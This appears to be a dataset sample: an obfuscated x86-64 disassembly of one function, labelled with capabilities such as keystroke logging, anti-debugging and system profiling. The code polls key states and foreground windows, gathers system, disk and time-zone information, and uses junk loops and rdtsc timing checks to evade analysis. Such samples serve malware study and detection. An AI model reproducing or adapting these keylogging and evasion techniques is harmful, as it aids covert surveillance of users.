Function at 0x18000100f
Capabilities:
Accept command line arguments
Check for foreground window switch
Execute anti-debugging instructions
Get disk information
Get system information on windows
Log keystrokes via polling
Resolve dns

Disassembly:
sub rsp, 0x698
lea rbp, [rsp + 0x200]
push rbp
mov rbp, rsp
sub rsp, 0x138
xor rax, rdx
sub edx, ecx
mov edx, ecx
mov edx, ecx
or dword [rbp - 0x88], eax
mov qword [0x180008b67], rdx
mov qword [rbp - 0x70], r11
movzx edx, dx
mov r9, qword [rbp - 0x64]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000116e
sub qword [rbp - 0xec], rdx
mov qword [rbp - 0xe4], r11
mov rax, r8
mov r10, 0xa638
mov qword [rbp - 0xcd], rax
mov ecx, dword [rbp - 0x74]
mov r8, qword [rbp - 0x3b]
sub qword [rbp - 0xc3], rax
add rcx, 0x9fee
or rax, qword [rbp - 2]
mov ecx, dword [rbp - 0xd0]
lea r9, [rbp - 0x82]
mov r9, r11
mov edx, 0xb164
add ecx, 0x5166
mov dword [0x180008b71], eax
add dword [rbp - 0x6b], edx
sub qword [0x180008b6f], r11
mov ecx, eax
mov r10, qword [rbp - 0x4a]
mov qword [rbp - 0xe7], rcx
mov r8, qword [0x180008b69]
mov dword [rbp - 0x75], eax
mov rcx, r11
mov r9, qword [rbp - 0x78]
mov dword [0x180008b6e], ecx
mov rcx, rax
movzx eax, byte [0x180008b6b]
sub rax, 0x35b8
mov r11, r10
mov edx, ecx
mov rdx, qword [rbp - 0xd4]
add r11, 0x4c58
xor r11, qword [rbp - 0x42]
and qword [rbp - 0xd0], r9
sub eax, 0x6d04
xor dword [rbp - 0x68], edx
xor edx, dword [rbp - 0xf5]
mov r8, qword [rbp - 0xf1]
mov eax, dword [rbp - 0x109]
movzx edx, ah
mov dword [rbp - 0xe8], eax
mov rdx, rax
mov eax, dword [rbp - 0x1d]
mov qword [rbp - 0x124], r11
mov ecx, edx
or qword [rbp - 0xa5], r11
sub r8, qword [rbp - 0x38]
mov dword [rbp - 0xd7], eax
add edx, dword [rbp - 0x50]
mov r10, rdx
and rax, r9
mov eax, dword [rbp - 0x10a]
mov qword [rbp - 0xc1], r10
inc qword [rsp]
mov r9, 0x52c4
cmp qword [rsp], r9
jle 0x18000105b
add rsp, 0x10
mov rcx, 0x53
call sub.USER32.dll_GetAsyncKeyState
mov eax, dword [0x180008b67]
sub r8, 0x6041
cmp dh, 4
jne 0x18000125a
mov qword [rbp - 0x125], r8
mov r11, qword [rbp - 0x102]
add edx, 0x63a6
mov ecx, 0x5a84
mov qword [rbp - 0x129], rax
call sub.KERNEL32.dll_GetLogicalDrives
mov ecx, dword [rbp - 0x19]
mov edx, eax
mov dword [rbp - 0xd9], ecx
sub rcx, qword [rbp - 0xad]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000123b
mov qword [rbp - 0x110], r11
and r9, qword [rbp - 0xec]
or edx, dword [rbp - 0xa9]
or r11, qword [rbp - 0x31]
lea r11, [rbp - 0x8c]
sub rdx, qword [rbp - 0x33]
mov rcx, 0x5989
mov edx, ecx
and qword [rbp - 0x68], r9
mov qword [rbp - 0x11e], rcx
mov r10, qword [rbp - 0xc1]
mov eax, ecx
mov dword [rbp - 0xaa], ecx
mov qword [rbp - 0xa3], rdx
inc qword [rsp]
mov r10, 0x4799
cmp qword [rsp], r10
jle 0x1800011ea
add rsp, 0x10
call sub.USER32.dll_GetForegroundWindow
mov ecx, eax
mov r9, qword [rbp - 0xa4]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000137a
mov qword [rbp - 0xc0], r9
movzx eax, word [0x180008b73]
mov qword [rbp - 0x11e], rdx
or ecx, edx
mov dword [rbp - 0x89], ecx
sub qword [rbp - 0x10b], r10
xor ecx, eax
sub r10, qword [rbp - 0x112]
sub eax, ecx
mov edx, 0x5271
mov ch, byte [rbp - 8]
mov qword [rbp - 0xf5], r11
xor rcx, qword [rbp - 0x109]
add edx, eax
sub qword [rbp - 0x109], r8
mov edx, dword [rbp - 0x1b]
mov qword [rbp - 0xf8], rcx
movzx ecx, byte [str.UdJ8I2C4qJiumU849M0WjAr8YoX6zNbJIEp9pPEvbzBjBRolpz5VcQZq]
mov qword [rbp - 0xbe], r11
mov r11, 0x64d
mov byte [0x180008b6f], dh
add ch, 0xd1
lea r10, [rbp - 0x73]
mov byte [0x180008b69], ah
sub rax, qword [rbp - 0x7f]
sub ecx, dword [rbp - 0x82]
mov eax, dword [rbp - 0x20]
mov qword [rbp - 0x12d], r9
mov rax, r8
mov eax, 0x537b
movzx edx, dh
mov qword [0x180008b73], r11
sub edx, dword [0x180008b68]
mov ecx, dword [rbp - 0xe0]
add edx, 0x2f17
mov dword [rbp - 0xa7], ecx
add ecx, 0x113
mov r8, qword [rbp - 0xf5]
or ecx, 0x88b
sub ecx, dword [rbp - 0xe6]
mov dword [rbp - 0xd7], eax
mov ah, ch
mov eax, dword [rbp - 0xbd]
sub r9, qword [rbp - 0x17]
add dword [rbp - 0x65], eax
mov r9, rax
lea r10, [rbp - 0x99]
add eax, ecx
mov edx, ecx
mov qword [rbp - 0x6a], r10
sub rdx, qword [rbp - 0xbf]
movzx edx, al
mov rax, r11
inc qword [rsp]
mov edx, 0x88e8
cmp edx, dword [rsp]
jl 0x18000126b
add rsp, 0x10
mov ah, byte [rbp - 0x101]
mov ecx, dword [rbp - 0xd0]
movzx ecx, dl
sub eax, dword [0x180008b66]
and r9, r11
mov r8, qword [rbp - 0x2d]
xor qword [rbp - 0xa6], rcx
movzx edx, dh
mov qword [rbp - 0x121], rdx
mov r11, 0x5320
mov rdx, qword [rbp - 0x127]
xor r11, qword [rbp - 0x52]
mov ecx, 0xccbb
cmp eax, ecx
je 0x1800013d4
leave
rdtsc
shl rdx, 0x20
or rdx, rax
mov rbx, rdx
add rbx, qword [0x180008a34]
push rbp
mov rbp, rsp
sub rsp, 0x68
mov rax, qword [rbp - 5]
sub dword [rbp - 6], edx
mov edx, dword [rbp - 0x14]
mov r11, rcx
sub qword [rbp - 0x4f], rcx
mov eax, dword [rbp - 0x16]
and dword [rbp - 0x4b], ecx
movzx ecx, al
mov ecx, dword [rbp - 0x37]
lea r9, [rbp - 0x46]
mov qword [rbp - 0x10], r8
mov rcx, 0x1a7
call sub.KERNEL32.dll_Sleep
movzx eax, byte [rbp - 0x2a]
add qword [rbp - 0x50], r10
mov r8, 0x6450
movzx eax, ax
test edx, ecx
jns 0x180001657
mov qword [rbp - 0x55], r8
movzx edx, dl
add ecx, eax
mov edx, dword [rbp - 0x46]
mov dword [rbp - 0x32], ecx
mov r9, qword [rbp - 0x31]
sub r10, rcx
movzx eax, dh
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800014b6
add rax, r11
xor r10, 0xdaab
sub byte [rbp - 0x4e], cl
mov ecx, dword [rbp - 0x2e]
mov r8, 0xf045
mov qword [rbp - 0x2f], rdx
mov dword [rbp - 0x45], eax
movzx eax, ah
sub rdx, r10
mov qword [rbp - 0x2e], rax
xor qword [rbp - 0x2c], r10
mov r8, qword [rbp - 0x57]
mov qword [0x180008b72], r10
mov ecx, dword [rbp - 0x58]
mov eax, dword [rbp - 0x49]
mov ecx, dword [rbp - 9]
sub rcx, 0x3096
mov edx, dword [rbp - 9]
sub r10, r9
xor dx, ax
inc qword [rsp]
mov eax, 0x1c74
cmp eax, dword [rsp]
jl 0x180001462
add rsp, 0x10
mov edx, dword [rbp - 0x5d]
mov dword [rbp - 0x1b], ecx
mov eax, dword [rbp - 0x35]
mov rdx, qword [0x180008b67]
mov eax, 0x2e4c
mov edx, ecx
add r9, 0xfd02
movzx edx, cl
mov r10, qword [0x180008b66]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000155e
sub byte [rbp - 0x17], al
mov qword [rbp - 0x40], r8
mov dword [0x180008b6f], eax
add qword [rbp - 0x46], r10
mov r8, r9
xor r9, 0xdd67
sub r9, rcx
sub rdx, 0x6963
mov r11, qword [rbp - 0x58]
mov edx, dword [rbp - 0x38]
or r11, qword [rbp - 0x3f]
add ecx, dword [rbp - 0x55]
sub ecx, 0xdaac
mov r10, qword [str.UdJ8I2C4qJiumU849M0WjAr8YoX6zNbJIEp9pPEvbzBjBRolpz5VcQZq]
mov dword [rbp - 0x46], eax
mov eax, 0xdbdc
mov rax, 0xb86d
mov eax, edx
mov qword [rbp - 0x21], r9
mov rcx, qword [rbp - 9]
mov qword [rbp - 0x4f], r10
or dword [rbp - 0x18], ecx
inc qword [rsp]
cmp qword [rsp], 0xd1bb
jle 0x1800014fa
add rsp, 0x10
mov qword [rbp - 0x48], rdx
sub dword [rbp - 0x5c], edx
movzx eax, al
sub r10, rcx
mov dword [rbp - 0xd], edx
mov dword [rbp - 0x2e], eax
or dword [rbp - 0x57], eax
sub qword [rbp - 0x19], rdx
mov dword [rbp - 0x54], edx
mov dword [rbp - 0x37], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000162e
mov rdx, rcx
xor eax, dword [rbp - 0x5b]
mov dword [rbp - 0x45], eax
mov qword [rbp - 0x47], r9
mov ecx, dword [rbp - 0x1b]
add r11, qword [rbp - 0x28]
mov dword [rbp - 0xc], ecx
lea rax, [rbp - 0x28]
mov r8, rax
mov dword [0x180008b73], eax
mov r11, qword [rbp - 0x2a]
sub dword [rbp - 0x14], eax
mov r11, rdx
movzx ecx, byte [rbp - 0x49]
xor dword [rbp - 0x2b], eax
mov rdx, qword [rbp - 0x58]
mov ecx, dword [rbp - 0x54]
mov rax, qword [rbp - 0x16]
mov dword [rbp - 0x40], eax
or rax, qword [rbp - 0x51]
mov qword [rbp - 0x54], r10
xor r10, r8
mov ecx, dword [rbp - 0x59]
mov qword [rbp - 0x2d], r10
sub rax, qword [rbp - 0x29]
sub dl, dh
and qword [rbp - 0x32], r8
mov r9, qword [rbp - 0x21]
mov r9, r10
sub ecx, edx
movzx ecx, ch
and rcx, qword [rbp - 1]
mov ecx, eax
mov r10, qword [rbp - 0x41]
movzx eax, ah
mov eax, dword [rbp - 0x2e]
mov qword [rbp - 0x2b], r8
sub r8, 0x3f39
mov r10, r9
mov qword [rbp - 0x15], rax
inc qword [rsp]
mov rcx, 0xb5e8
cmp qword [rsp], rcx
jle 0x18000159d
add rsp, 0x10
mov rax, qword [0x180008b72]
lea r10, [rbp - 0x4a]
or dword [rbp - 0x44], ecx
mov dword [0x180008b72], edx
mov dword [rbp - 0x5e], ecx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001688
lea r8, [rbp - 0x16]
mov r9, qword [rbp - 0x2f]
lea r9, [rbp - 0x19]
sub dword [rbp - 0x15], ecx
mov ecx, dword [0x180008b73]
add r10, qword [0x180008b6e]
inc qword [rsp]
mov r11, 0xc7ba
cmp qword [rsp], r11
jle 0x180001668
add rsp, 0x10
mov r8, qword [rbp - 0xc]
mov rdx, qword [0x180008b6c]
mov r8, qword [rbp - 0x2b]
add qword [rbp - 0x30], rcx
add edx, 0xc6ac
mov qword [rbp - 0x4b], r9
mov qword [rbp - 8], r9
mov qword [rbp - 0x34], r8
sub rsp, 0x60
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetSystemInfo
add rsp, 0x60
mov qword [rbp - 0x11], rcx
sub rsp, 0xe0
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetTimeZoneInformation
add rsp, 0xe0
mov dword [rbp - 5], ecx
call sub.USER32.dll_GetForegroundWindow
mov r9, rax
mov dword [rbp - 0x1b], eax
cmp r9, qword [0x180008b72]
jne 0x180001717
sub eax, ecx
mov ecx, dword [rbp - 0x4f]
call sub.KERNEL32.dll_GetCommandLineW
add rax, rdx
sub qword [rbp - 0x41], rcx
xor eax, dword [rbp - 0x5d]
leave
mov rcx, 0x3e8
call sub.KERNEL32.dll_Sleep
push rbp
mov rbp, rsp
sub rsp, 0x398
and dword [rbp - 0xed], ecx
movzx edx, byte [rbp - 0x24d]
mov dword [rbp - 0x18], eax
add eax, ecx
xor word [rbp - 0x289], cx
call sub.USER32.dll_GetFocus
cmp r10, qword [0x180008b72]
jo 0x1800017b2
lea rcx, [0x180008cf4]
call sub.msvcrt.dll_printf
add dword [rbp - 0xcb], ecx
lea rax, [rbp - 0x211]
xor r10, rax
sub rax, r11
mov r11, qword [rbp - 0x35a]
mov r8, rax
mov dword [rbp - 0x373], ecx
mov ecx, 0x2b1c
mov r11, qword [rbp - 0x2c]
mov dword [rbp - 0x2b3], ecx
mov edx, dword [0x180008b68]
add ecx, 0xfc00
xor r10, qword [rbp - 0x2ef]
mov qword [rbp - 0x56], r9
and r8, rdx
lea rcx, [rbp - 0x74]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800017cb
or qword [rbp - 0x103], rcx
inc qword [rsp]
mov r9, 0x5029
cmp qword [rsp], r9
jle 0x1800017c0
add rsp, 0x10
sub r9, r10
mov eax, dword [rbp - 0xe1]
mov qword [rbp - 0x175], rdx
mov rdx, rax
mov dword [rbp - 0xed], eax
cmp rcx, r10
je 0x180001a45
mov eax, dword [rbp - 0x2b5]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001832
add r10, qword [rbp - 0x371]
mov ecx, dword [rbp - 0x27e]
mov dword [rbp - 0x80], edx
mov qword [rbp - 0xd], r11
mov edx, 0xe531
movzx eax, al
inc qword [rsp]
mov r8, 0xc5bd
cmp qword [rsp], r8
jle 0x180001812
add rsp, 0x10
movzx eax, al
mov rax, rcx
mov rcx, qword [0x180008b67]
add ecx, 0x3304
movzx ecx, byte [0x180008b68]
mov eax, dword [0x180008b68]
movzx eax, byte [rbp - 0x154]
or edx, ecx
add eax, dword [rbp - 0xef]
sub r9, rax
mov qword [rbp - 0x362], r10
mov r9, 0x46c4
movzx eax, dl
mov r11, qword [rbp - 0xb3]
sub cl, 0x12
mov dword [rbp - 0x2f0], ecx
mov ah, byte [rbp - 0x2c7]
mov eax, edx
mov r9, 0x8c59
sub qword [rbp - 0x263], r10
sub qword [0x180008b6b], rax
movzx ecx, dl
sub qword [rbp - 0x20d], r8
sub rsp, 0xe0
lea rcx, [rsp + 0x20]
call sub.KERNEL32.dll_GetTimeZoneInformation
add rsp, 0xe0
mov dword [rbp - 0x12c], eax
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x18000190e
mov r11, qword [rbp - 0x9f]
mov qword [rbp - 0x172], rcx
mov rdx, rcx
add eax, edx
mov word [0x180008b70], ax
mov qword [0x180008b67], rdx
inc qword [rsp]
mov ecx, 0x1926
cmp ecx, dword [rsp]
jl 0x1800018e9
add rsp, 0x10
sub rcx, r10
add r11, rax
mov ecx, edx
mov rcx, 0x8354
movzx eax, byte [rbp - 0x2c]
mov al, byte [rbp - 0x1cc]
sub edx, eax
xor dword [0x180008b72], eax
mov rdx, 0xaa61
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001a08
mov rdx, qword [rbp - 0x10d]
mov dword [rbp - 0xe6], edx
mov r9, qword [rbp - 0x80]
movzx ecx, al
mov dword [rbp - 0x14c], edx
mov dword [0x180008b6f], edx
mov ecx, edx
add dword [rbp - 0x230], edx
mov r10, r9
mov eax, dword [rbp - 0x2ed]
mov qword [rbp - 0x248], rax
movzx edx, ch
mov r9, r11
mov ecx, dword [rbp - 0xf]
and qword [rbp - 0x36d], rcx
or dword [rbp - 0x23d], eax
mov eax, ecx
mov r11, qword [0x180008b6b]
mov qword [rbp - 0x2c], rax
sub qword [rbp - 0xff], r8
mov rcx, rdx
movzx eax, dx
add edx, eax
mov dword [rbp - 0x72], eax
add rax, r11
xor dword [rbp - 0x114], ecx
mov edx, dword [rbp - 0x285]
add rdx, rcx
sub ecx, dword [rbp - 0x25d]
sub eax, dword [rbp - 0x27c]
movzx ecx, dx
or eax, edx
movzx edx, dh
mov eax, edx
mov dh, byte [rbp - 0x34f]
sub qword [rbp - 0x134], rcx
xor dword [rbp - 0x14c], edx
movzx edx, byte [rbp - 0xa3]
inc qword [rsp]
cmp qword [rsp], 0x24ac
jle 0x180001955
add rsp, 0x10
xor dword [rbp - 0x302], eax
movzx edx, al
mov rcx, 0xbd
call sub.USER32.dll_GetKeyState
sub dword [rbp - 0x37c], ecx
add eax, dword [0x180008b70]
mov dword [rbp - 0x302], ecx
lea r11, [rbp - 0x2a]
movzx eax, ch
mov r10, qword [rbp - 0x154]
or dword [rbp - 0x177], eax
movzx edx, ah
call sub.USER32.dll_GetMessageTime
movzx eax, ch
and ecx, 0x36be
xor r11, qword [rbp - 0x35]
mov r11, qword [rbp - 0x17b]
mov dword [rbp - 0x22c], ecx
movzx edx, cl
mov edx, dword [rbp - 0x1fe]
and ecx, dword [rbp - 0x278]
mov rdx, rax
cmp r10, r9
je 0x180001a96
mov ecx, edx
mov dword [rbp - 0xe5], ecx
mov edx, dword [rbp - 0x1d9]
test edx, ecx
je 0x180001adc
xor dword [rbp - 0x19c], ecx
mov ecx, dword [rbp - 0x58]
movzx eax, ah
mov rax, qword [rbp - 0x93]
mov edx, eax
mov eax, dword [rbp - 0x23d]
mov dword [rbp - 0x29], ecx
mov byte [0x180008b73], al
mov dword [rbp - 0x19c], eax
or ecx, dword [rbp - 0x215]
add rax, 0x46a6
mov dword [0x180008b69], ecx
leave
rdtsc
shl rdx, 0x20
or rdx, rax
cmp rdx, rbx
jb 0x1800013e8
mov rcx, rbx
call sub.msvcrt.dll_srand
lea rdi, section..data
mov rsi, qword [0x1800089f8]
movabs r12, 0x18d3b3bdc55a032b
call fcn.180004e9f
push rbp
mov rbp, rsp
sub rsp, 0x458
mov r9, qword [rbp - 9]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001ba3
mov dword [rbp - 0x35c], ecx
mov qword [rbp - 0x371], rdx
mov qword [rbp - 0x1c], rax
mov dword [rbp - 0x31a], eax
mov eax, dword [0x180008b6b]
movzx ecx, ah
mov r8, qword [rbp - 0x2ee]
mov r11, r10
mov edx, dword [rbp - 0x32f]
mov dword [rbp - 0x18b], ecx
movzx ecx, dh
and r9, qword [rbp - 0x433]
mov ecx, dword [rbp - 0x299]
movzx eax, ah
mov dword [rbp - 0x330], ecx
mov ecx, dword [rbp - 0x403]
mov r11, qword [rbp - 0x354]
and r8, r10
mov ah, byte [rbp - 0x16]
mov edx, dword [rbp - 0x175]
sub eax, dword [0x180008b69]
inc qword [rsp]
mov eax, 0xaff3
cmp eax, dword [rsp]
jl 0x180001b31
add rsp, 0x10
or rcx, qword [rbp - 0xe0]
mov rax, r11
mov dword [rbp - 0x2f2], ecx
add dword [rbp - 0x99], ecx
mov ecx, dword [rbp - 0x176]
mov r10, r9
mov qword [rbp - 0xe2], rcx
mov al, 0x9e
lea rdx, [rbp - 0xbf]
mov ecx, eax
cmp rdx, qword [0x180008b65]
jae 0x180001cf4
mov r10, r8
xor word [rbp - 0xe8], cx
mov edx, dword [rbp - 0x6b]
mov dword [rbp - 0x388], ecx
or rcx, qword [rbp - 0x433]
mov rdx, qword [rbp - 0x187]
mov eax, edx
add ecx, dword [rbp - 0x3c]
mov r10, qword [rbp - 0xfd]
lea rdx, [rbp - 0x3b0]
lea rdx, [rbp - 0x448]
sub r11, r9
sub r11, qword [rbp - 0x68]
add qword [rbp - 0x1c0], r9
mov qword [rbp - 0x296], rax
mov rdx, 0xb587
mov qword [rbp - 0x143], r9
mov cl, byte [rbp - 0x38e]
add ecx, dword [rbp - 0x83]
mov eax, dword [rbp - 0x1df]
add edx, eax
xor r11, qword [rbp - 0x20d]
mov r8, qword [rbp - 0x174]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001ce3
mov edx, 0xefba
mov rcx, qword [rbp - 0x2eb]
add rdx, r9
mov dword [rbp - 0x183], ecx
mov dword [rbp - 0x373], eax
add rcx, 0x9aaf
mov qword [rbp - 0x106], r11
sub edx, 0xc97
mov rdx, qword [rbp - 0x105]
mov eax, dword [rbp - 0x176]
or rcx, qword [rbp - 0x1a8]
mov edx, dword [0x180008b67]
sub rcx, r8
movzx ecx, al
sub ecx, 0x6de2
mov ecx, dword [rbp - 0x3ec]
lea r8, [rbp - 0x1d5]
inc qword [rsp]
mov rcx, 0x9e12
cmp qword [rsp], rcx
jle 0x180001c7d
add rsp, 0x10
leave
call fcn.180005c6a
push rdi
push rsi
push r14
push r15
push rbp
mov rbp, rsp
sub rsp, 0x38
add r10, qword [rbp - 8]
mov eax, dword [rbp - 0x2c]
mov qword [rbp - 0xd], r8
mov r10, qword [rbp - 0x1f]
movzx edx, cx
mov qword [rbp - 0x26], r11
mov esi, edi
mov byte [rbp - 0xb], ah
mov rax, rdx
add qword [rbp - 0xa], r15
sub edi, dword [rbp - 0x12]
sub edi, 0x674e
mov rcx, qword [rbp - 0x1c]
mov ecx, esi
xor dword [0x180008b69], eax
or qword [rbp - 0xc], rdi
cmp r11, 0xffffffffb07fc843
jae 0x180001d7b
lea r10, [rbp - 0x10]
mov edi, 0xe73a
add r8, qword [rbp - 0x26]
mov rsi, qword [rbp - 0x1a]
mov esi, 0x7fc3
sub edi, dword [rbp - 0x1e]
add qword [rbp - 0x16], r14
mov eax, dword [rbp - 0x1e]
add ecx, edi
mov ecx, dword [rbp - 0x2d]
add edx, dword [rbp - 0x26]
mov r9, r8
lea r9, [rbp - 0x11]
or ecx, dword [rbp - 0x2c]
sub ecx, 0xab56
sub dword [rbp - 5], ecx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001df3
sub dword [0x180008b6c], edx
mov dword [rbp - 0x27], edx
mov rsi, qword [rbp - 0x2b]
movzx eax, ah
sub eax, esi
mov qword [rbp - 0x18], rdx
mov rax, qword [rbp - 2]
mov r15, qword [rbp - 0x16]
or r9, qword [rbp - 0x28]
mov r8, qword [rbp - 0x13]
sub r9, r11
mov dword [str.UdJ8I2C4qJiumU849M0WjAr8YoX6zNbJIEp9pPEvbzBjBRolpz5VcQZq], edi
mov qword [rbp - 0x2e], r10
add r14, rdi
sub edx, dword [rbp - 0x2f]
lea rax, [0x180008b6d]
mov esi, dword [rbp - 7]
mov edx, eax
mov edi, dword [rbp - 0x2e]
mov edx, dword [rbp - 0x16]
mov esi, dword [rbp - 0xc]
and edi, edx
add rax, r14
mov rax, 0x9569
inc qword [rsp]
mov esi, 0xcaf7
cmp esi, dword [rsp]
jl 0x180001d95
add rsp, 0x10
leave
pop r15
pop r14
pop rsi
pop rdi
call fcn.180006bb1
cmp rax, 0
jne 0x180006d1c
push rbp
mov rbp, rsp
sub rsp, 0x478
add ecx, 0xd267
mov qword [rbp - 0x283], rcx
mov edx, dword [rbp - 0x369]
mov rcx, r11
mov dword [rbp - 0x141], eax
mov eax, dword [rbp - 0x178]
and eax, edx
mov rax, qword [0x180008b73]
or rax, qword [rbp - 0xa2]
and r10, rcx
add eax, edx
mov dword [rbp - 0x433], eax
mov qword [rbp - 0x281], r8
mov qword [0x180008b73], r9
mov r8, 0x39ba
mov qword [rbp - 0x2ad], rdx
add rcx, qword [rbp - 0x387]
mov dword [0x180008b6b], eax
xor dword [rbp - 0xf8], eax
mov rax, qword [rbp - 0x31e]
mov rcx, r11
mov rcx, qword [rbp - 0x366]
sub qword [rbp - 0x259], rax
mov qword [rbp - 0x34d], rcx
mov rcx, 0x2c08
mov qword [rbp - 0x2c0], r9
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001ed6
sub qword [rbp - 0x3ce], r10
mov ecx, edx
inc qword [rsp]
cmp qword [rsp], 0xe577
jle 0x180001ec9
add rsp, 0x10
add rax, qword [rbp - 0x326]
mov r11, qword [rbp - 0x433]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001f04
inc qword [rsp]
mov rcx, 0x9d66
cmp qword [rsp], rcx
jle 0x180001f00
add rsp, 0x10
cmp edx, 0xd062ff9d
jns 0x180001fed
mov qword [rbp - 0x1ef], r8
mov ecx, eax
mov eax, dword [rbp - 0x165]
mov dword [rbp - 0x402], eax
movzx edx, dh
add rcx, qword [rbp - 0x334]
mov dword [rbp - 0x33e], edx
lea r11, [rbp - 0x24d]
mov ecx, eax
lea rdx, [rbp - 0x11b]
or dword [rbp - 0x399], ecx
mov dword [rbp - 0x35b], eax
add eax, edx
add qword [rbp - 0x78], r8
and dword [rbp - 0x384], edx
mov ecx, 0xbb71
mov dword [rbp - 0x49], edx
mov dword [rbp - 0x24c], ecx
mov qword [rbp - 0x29], r11
lea r8, [rbp - 0x464]
mov ah, al
lea r11, [rbp - 0x39a]
add ecx, dword [rbp - 0x274]
movzx eax, al
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x180001fdf
and edx, dword [rbp - 0x1d9]
mov rdx, qword [rbp - 0x1da]
mov qword [rbp - 0x3a], rax
mov dword [rbp - 0x10c], eax
sub ecx, 0x6d17
xor rcx, 0x3e0b
or r8, rdx
sub rdx, 0x1543
mov dword [rbp - 0x1a0], eax
inc qword [rsp]
mov eax, 0xaac0
cmp eax, dword [rsp]
jl 0x180001fa7
add rsp, 0x10
leave
lea rdx, [rbp - 0x40]
mov rcx, 0x202
mov rax, qword [0x180008a94]
call rax
test eax, eax
jne 0x180004a2e
push rbp
mov rbp, rsp
sub rsp, 0x328
mov r10, qword [0x180008b6c]
movzx eax, ah
movzx ecx, byte [rbp - 0xac]
mov qword [rbp - 0x1eb], r9
add r11, rcx
or rdx, qword [rbp - 0x32]
mov dword [rbp - 0x1b2], eax
mov r9, r10
mov edx, dword [rbp - 0x2a8]
mov r9, r10
mov rdx, r8
sub dword [rbp - 0x2f4], ecx
mov ecx, dword [rbp - 0x257]
mov qword [rbp - 0x205], r8
mov r8, qword [rbp - 0x1e4]
add r9, 0x7644
mov ecx, dword [rbp - 0x280]
add r8, rax
mov qword [rbp - 0x11], rcx
movzx eax, al
lea r9, [rbp - 0x2d1]
sub edx, dword [rbp - 0xa5]
add ecx, 0x7644
mov edx, 0x98a0
or eax, 0x74ec
mov eax, 0x5c11
add qword [rbp - 0x198], r10
mov edx, dword [rbp - 0x41]
mov rax, qword [rbp - 0x2c4]
mov byte [rbp - 0x29b], ah
xor edx, dword [rbp - 0x43]
and eax, edx
xor rcx, qword [rbp - 0x1d]
mov eax, edx
mov qword [rbp - 0x222], r10
mov ecx, 0x3699
mov eax, dword [rbp - 0x284]
mov dword [rbp - 0x7c], edx
mov r10, qword [rbp - 0x1f]
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800021b3
or qword [rbp - 0x56], rax
mov r11, r10
add dword [rbp - 0x2a2], eax
mov dword [rbp - 0x1dc], edx
mov qword [rbp - 0x2c], r9
mov dh, byte [rbp - 0x9b]
movzx eax, al
mov rax, qword [rbp - 0x3c]
mov dword [rbp - 0x46], eax
sub rax, qword [rbp - 0x239]
add r8, qword [rbp - 0x19]
sub dword [rbp - 0x1f3], ecx
mov dword [rbp - 0x25b], edx
sub rax, rdx
movzx eax, word [0x180008b72]
mov qword [rbp - 0x2f9], rdx
mov r10, r8
mov edx, dword [rbp - 0xc2]
add ecx, dword [rbp - 0x198]
mov dx, word [rbp - 0x30a]
mov eax, edx
sub dword [rbp - 0x82], ecx
mov qword [rbp - 0x2bd], rax
add rcx, qword [rbp - 0x22e]
mov eax, edx
mov r10, r9
mov r9, qword [rbp - 0xa3]
movzx eax, byte [rbp - 1]
sub r10, 0xa515
sub rax, qword [rbp - 0x62]
mov qword [rbp - 0x1bf], r9
mov rdx, rcx
and dword [rbp - 0x168], edx
mov rax, qword [rbp - 0x5c]
mov r8, rdx
sub dword [rbp - 0x17a], eax
add qword [rbp - 0xed], r8
mov edx, dword [rbp - 0x1b9]
mov r8, qword [rbp - 0x29d]
inc qword [rsp]
mov r8, 0xf471
cmp qword [rsp], r8
jle 0x1800020e8
add rsp, 0x10
leave
rdtsc
mov dword [0x180008225], eax
push rbp
mov rbp, rsp
sub rsp, 0x328
or rax, qword [rbp - 0xc9]
sub rdx, qword [rbp - 0x2e2]
and dword [0x180008b66], ecx
sub rsp, 0x10
mov qword [rsp], 0
jmp 0x1800022fe
add dword [rbp - 0x26c], edx
add rax, rcx
add dh, byte [rbp - 0x3b]
add rcx, qword [0x180008b70]
mov qword [rbp - 0x2be], r11
movzx edx, byte [0x180008b65]
movzx ecx, dh
mov ecx, eax
add edx, dword [rbp - 0x2d7]
sub rax, qword [rbp - 0x9f]
mov r8, qword [rbp - 0x5c]
mov r9, qword [rbp - 0xe0]
mov r9, rdx
mov qword [0x180008b70], rax
or dword [0x180008b65], ecx
movzx edx, ax
mov qword [rbp - 0xee], rax
movzx eax, cl
mov r10, qword [rbp - 0x138]
mov rcx, qword [rbp - 0x309]
sub dword [rbp - 0x274], edx
mov dword [rbp - 0x2d], edx
mov dword [rbp - 0x38], ecx
mov edx, ecx
lea rax, [rbp - 0x181]
mov r10, 0x6c51
add r10, qword [rbp - 0x2d1]
lea r8, [rbp - 0x55]
mov qword [0x180008b66], r10
mov dword [rbp - 0x2a7], ecx
and qword [rbp - 0x1bb], r10
sub qword [0x180008b72], r8
mov qword [rbp - 0x2a1], rdx
or edx, eax
or eax, dword [rbp - 0x265]
sub r9, r10
mov r9, qword [rbp - 0x2f2]
mov rcx, r10
mov eax, edx
mov edx, dword [rbp - 0x2f]
mov eax, 0xd77c
mov eax, 0x2cbc
mov rax, qword [rbp - 0x74]
mov r9, rcx
xor eax, dword [rbp - 0x36]
mov eax, edx
mov dword [rbp - 0xc1], ecx
mov r11, qword [rbp - 0x2d0]
mov qword [rbp - 0x123], r10
movzx edx, dl
inc qword [rsp]
mov eax, 0x73d2
cmp eax, dword [rsp]
jl 0x180002201
add rsp, 0x10
leave
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x60], 0x18
mov qword [rbp + 0x68], 0
mov dword [rbp + 0x70], 1
push rbp
mov rbp, rsp
sub rsp, 0x498
